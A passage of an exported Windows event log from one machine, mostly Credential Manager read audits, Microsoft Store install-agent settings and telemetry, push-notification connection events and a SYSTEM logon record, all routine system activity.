ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.818\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.819\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.819\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.819\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.820\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.821\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.821\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.821\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.822\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:25.866\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.866\t2006\t\"Checking if top-level window is visible for PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync, setting userInteractive = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (427)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.869\t2006\t\"Scan allowed inside interval for Microsoft.YourPhone_8wekyb3d8bbwe. Current last scan time cache: 2026-09-04T11:58:29+07:00;2026-09-04T12:02:46+07:00;2026-09-04T16:47:41+07:00;2026-09-05T08:29:25+07:00\nError: Unknown HResult Error code: 0xefffffff\nFunction: OnlineScanAllowedInInterval\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\stringhelpers.cpp (479)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.869\t2006\t\"Last scan time calculated, setting online = 1\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetIsOnlineScanAllowed\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2374)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:25.870\t2006\t\"[Telemetry]: BeginScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.2.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0IsInteractive = false \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:26.506\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.507\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.510\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:26.510\t2006\t\"Cannot get any user tickets. Using device ticket\nError: The operation completed successfully.\nFunction: TryGetTickets\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\storeappinfo.cpp (1319)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.019\t2006\t\"[Telemetry]: DownloadUrl :: __TlgCV__ = fZ45hDIq50OyI64m.0.1.3 \u00a0PartB_Ms.Qos.OutgoingServiceRequest = 14 \u00a0operationName = DownloadUrl \u00a0targetUri = https://displaycatalog.mp.microsoft.com/v7.0/products/9NRZT3Q9R3DL/?fieldsTemplate=InstallAgent&market=RU&languages=en-US,en,neutral \u00a0latencyMs = 516 \u00a0serviceErrorCode = 0 \u00a0succeeded = true \u00a0requestMethod = GET \u00a0responseContentType = JSON \u00a0protocol = HTTP \u00a0protocolStatusCode = 200 \u00a0dependencyOperationName =  \u00a0dependencyOperationVersion =  \u00a0dependencyName =  \u00a0dependencyType =  \u00a0responseSizeBytes = 44249 \u00a0HResult = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.019\t2006\t\"Http GET response: https://displaycatalog.mp.microsoft.com/v7.0/products/9NRZT3Q9R3DL/?fieldsTemplate=InstallAgent&market=RU&languages=en-US,en,neutral\nError: The operation completed successfully.\nFunction: FetchUriResponseWithAuthTicket\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\httphelpers.cpp (369)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.021\t2005\t\"Device Info: DeviceFamily = Windows.Desktop, Version = 2814751484158928, Arch = AMD64 (K8)\u00a0\nError: The operation completed successfully.\nFunction: FindFulfillmentInfo\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\productdocument2helper.cpp (380)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:29:27.025\t1\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.025\t2\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.026\t1\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.026\t2\tError 0x80070520 occurred. See event details for more information.\tError\tMicrosoft-Windows-CloudStore/Operational\tMicrosoft-Windows-CloudStore\n05.09.2026 08:29:27.109\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.109\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.109\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.109\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:27.251\t62409\tFinished execution of command 'PhoneExperienceHost.exe' (PID 16216).\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:27.310\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:27.310\t9707\tStarted execution of command 'IntelGraphicsSoftware.exe\" -s'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:27.647\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:27.647\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon 